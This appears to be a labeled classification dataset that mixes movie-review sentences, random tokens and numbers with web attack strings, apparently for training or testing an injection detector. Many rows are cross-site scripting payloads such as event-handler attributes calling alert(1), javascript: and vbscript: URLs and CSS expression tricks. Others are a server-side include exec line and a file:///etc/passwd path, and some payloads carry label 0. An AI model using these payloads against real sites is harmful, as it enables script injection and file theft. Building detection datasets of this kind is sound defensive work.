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Spectacular in every sense of the word, even if you don' t know an Orc from a Uruk-Hai. | 0 | 17,828 |
A map of the inner rhythms of love and jealousy and sacrifice drawn with a master's steady stroke. | 0 | 14,979 |
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<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe | 1 | 881 |
y2p0SOK6 | 0 | 24,881 |
<image2 contenteditable onbeforeinput=alert(1)>test | 1 | 5,783 |
Bears resemblance to, and shares the weaknesses of, too many recent action-fantasy extravaganzas in which special effects overpower cogent story-telling and visual clarity during the big action sequences. | 0 | 22,226 |
3.91387E+11 | 0 | 26,117 |
<style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=print()></table> | 1 | 8,949 |
0.989056386 | 0 | 27,688 |
"`'><script>\xE2\x80\x88javascript:alert(1)</script> | 1 | 1,740 |
<kbd onpointerleave=alert(1) style=display:block>XSS</kbd> | 1 | 6,174 |
0.126395954 | 0 | 27,358 |
1tJsbzjp | 0 | 25,411 |
<track onkeyup="alert(1)" contenteditable style=display:block>test</track> | 1 | 10,690 |
A fairly by-the-books blend of action and romance with sprinklings of intentional and unintentional comedy. | 0 | 21,939 |
hGa6pU8N | 0 | 25,594 |
It's traditional moviemaking all the way, but it's done with a lot of careful period attention as well as some very welcome wit. | 0 | 14,371 |
Some of the computer animation is handsome, and various amusing sidekicks add much-needed levity to the otherwise bleak tale, but overall the film never rises above mediocrity. | 0 | 19,617 |
Plays like one long, meandering sketch inspired by the works of John Waters and Todd Solondz, rather than a fully developed story. | 0 | 20,394 |
<img SRC='vbscript:document.vulnerable=true;'> | 1 | 2,434 |
Portentous and pretentious, The Weight of Water is appropriately titled, given the heavy-handedness of it drama. | 0 | 21,208 |
Who needs mind-bending drugs when they can see this, the final part of the 'qatsi' trilogy, directed by Godfrey Reggio, with music by Philip Glass? | 0 | 17,805 |
0.800273973 | 0 | 27,705 |
While the mystery surrounding the nature of the boat's malediction remains intriguing enough to sustain mild interest, the picture refuses to offer much accompanying sustenance in the way of characterization, humor or plain old popcorn fun. | 0 | 22,307 |
<A HREF="http://66.102.7.147/">XSS</A> | 1 | 683 |
<animatemotion onmouseup="alert(1)" style=display:block>test</animatemotion> | 1 | 3,057 |
<frameset onBlur frameset onBlur="javascript:javascript:alert(1224)"></frameset onBlur> | 1 | 12,456 |
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> | 0 | 2,341 |
<sub onpointerout=alert(1) style=display:block>XSS</sub> | 1 | 10,069 |
To the film's credit, the acting is fresh and unselfconscious, and Munch is a marvel of reality versus sappy sentiment. | 0 | 15,189 |
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF | 1 | 1,618 |
It has the ability to offend and put off everyone, but it holds you with its outrageousness. | 0 | 15,502 |
0.761025899 | 0 | 27,970 |
<img src=x onerror=\x32"javascript:alert(1)"> | 1 | 1,877 |
Even during the climactic hourlong cricket match, boredom never takes hold. | 0 | 16,284 |
<style>@keyframes x{}</style><mark style="animation-name:x" onwebkitanimationstart="alert(1)"></mark> | 1 | 9,760 |
0.889984033 | 0 | 27,058 |
<!--#EXEC cmd="dir \"--> | 1 | 13,547 |
<style>:target {color:red;}</style><th id=x style="transition:color 1s" onwebkittransitionend=alert(1)></th> | 1 | 8,790 |
<a href="\x05javascript:javascript:alert(437)" id="fuzzelement437">test</a> | 1 | 11,669 |
kqj49Uto | 0 | 25,277 |
<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=print()></template> | 1 | 8,496 |
Recoing's fantastic performance doesn't exactly reveal what makes Vincent tick, but perhaps any definitive explanation for it would have felt like a cheat. | 0 | 18,563 |
<col onblur=alert(1) id=x tabindex=1 style=display:block>test</col><input value=clickme> | 1 | 3,967 |
<head onpointerout=alert(1) style=display:block>XSS</head> | 1 | 5,449 |
<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionstart=alert(1)></image> | 1 | 8,641 |
<style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=print()></rp> | 1 | 8,926 |
<title onmouseup="alert(1)" style=display:block>test</title> | 1 | 10,615 |
0.643887513 | 0 | 28,319 |
<spacer draggable="true" ondragleave="alert(1)" style=display:block>test</spacer> | 1 | 8,159 |
<div style="binding: url([link to code]);"> | 1 | 2,479 |
<script>javascript:alert(356)</script\x0B | 1 | 11,588 |
Despite its good nature and some genuinely funny moments, Super Troopers suffers from a bad case of arrested development. | 0 | 22,075 |
s1n75ZaE | 0 | 25,557 |
0.773655857 | 0 | 26,982 |
<track onpaste="alert(1)" contenteditable>test</track> | 1 | 10,699 |
Another boorish movie from the I-heard-a-joke- at-a-frat-party school of screenwriting. | 0 | 24,153 |
When the film ended, I felt tired and drained and wanted to lie on my own deathbed for a while. | 0 | 20,844 |
Pretend it's a werewolf itself by avoiding eye contact and walking slowly away. It's fun, but it's a real howler. | 0 | 22,855 |
Able to provide insight into a fascinating part of theater history. | 0 | 16,391 |
Dark and disturbing, but also surprisingly funny. | 0 | 14,595 |
If this holiday movie is supposed to be a gift, somebody unwrapped it early, took out all the good stuff, and left behind the crap (literally). | 0 | 21,871 |
<IMG SRC=x onunload="alert(1073))"> | 1 | 12,305 |
<meta draggable="true" ondragenter="alert(1)" style=display:block>test</meta> | 1 | 6,680 |
file:///etc/passwd | 1 | 13,765 |
<col oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test | 1 | 3,971 |
The Bai brothers have taken an small slice of history and opened it up for all of us to understand, and they've told a nice little story in the process. | 0 | 16,293 |
Piccoli's performance is amazing, yes, but the symbols of loss and denial and life-at-arm's-length in the film seem irritatingly transparent. | 0 | 23,957 |
Spielberg's first real masterpiece, it deserved all the hearts it won -- and wins still, 20 years later. | 0 | 17,621 |
<style>:target {transform: rotate(180deg);}</style><animatemotion id=x style="transition:transform 2s" ontransitionrun=print()></animatemotion> | 1 | 8,823 |
Did we really need a remake of ``Charade?'' | 0 | 24,385 |
<style>@keyframes x{}</style><nav style="animation-name:x" onwebkitanimationstart="alert(1)"></nav> | 1 | 9,788 |
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It's not original, and, robbed of the element of surprise, it doesn't have any huge laughs in its story of irresponsible cops who love to play pranks. | 0 | 21,268 |
So vivid a portrait of a woman consumed by lust and love and crushed by betrayal that it conjures up the intoxicating fumes and emotional ghosts of a freshly painted Rembrandt. | 0 | 17,031 |
An effective portrait of a life in stasis -- of the power of inertia to arrest development in a dead-end existence. | 0 | 17,793 |
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0.508734689 | 0 | 26,677 |
<image2 onmouseover="alert(1)" style=display:block>test</image2> | 1 | 5,807 |
0.540004313 | 0 | 27,232 |
<image onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</image><input value=clickme> | 1 | 5,758 |
A masterful film from a master filmmaker, unique in its deceptive grimness, compelling in its fatalist worldview. | 0 | 14,229 |
<slot oncontextmenu="alert(1)" style=display:block>test</slot> | 1 | 8,047 |
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div> | 1 | 859 |
4Ever has the same sledgehammer appeal as Pokemon videos, but it breathes more on the big screen and induces headaches more slowly. | 0 | 20,106 |
<meta oncontextmenu="alert(1)" style=display:block>test</meta> | 1 | 6,692 |
<style>:target {color:red;}</style><i id=x style="transition:color 1s" onwebkittransitionend=alert(1)></i> | 1 | 8,636 |
1.0546E+12 | 0 | 26,344 |
Whatever heartwarming scene the impressively discreet filmmakers may have expected to record with their mini DV, they show a remarkable ability to document both sides of this emotional car-wreck. | 0 | 17,306 |
<custom tags onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</custom tags><input value=clickme> | 1 | 4,133 |
<BODY ONLOAD=alert('XSS')> | 0 | 954 |
<b onmouseover="alert(1)" style=display:block>test</b> | 1 | 3,388 |
About Schmidt belongs to Nicholson. Gone are the flamboyant mannerisms that are the trademark of several of his performances. As Schmidt, Nicholson walks with a slow, deliberate gait, chooses his words carefully and subdues his natural exuberance. | 0 | 18,440 |
0.274475025 | 0 | 27,420 |
<dd draggable="true" ondragenter="alert(1)" style=display:block>test</dd> | 1 | 4,239 |
If you can get past the fantastical aspects and harsh realities of ``The Isle'' you'll get a sock-you-in-the-eye flick that is a visual tour-de-force and a story that is unlike any you will likely see anywhere else. | 0 | 14,357 |
Terrific performances, great to look at, and funny. A little uneven to be the cat's meow, but it's good enough to be the purr. | 0 | 17,658 |
<aside ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</aside> | 1 | 3,243 |
The best drug addition movies are usually depressing but rewarding. Quitting, however, manages just to be depressing, as the lead actor phones in his autobiographical performance. | 0 | 20,595 |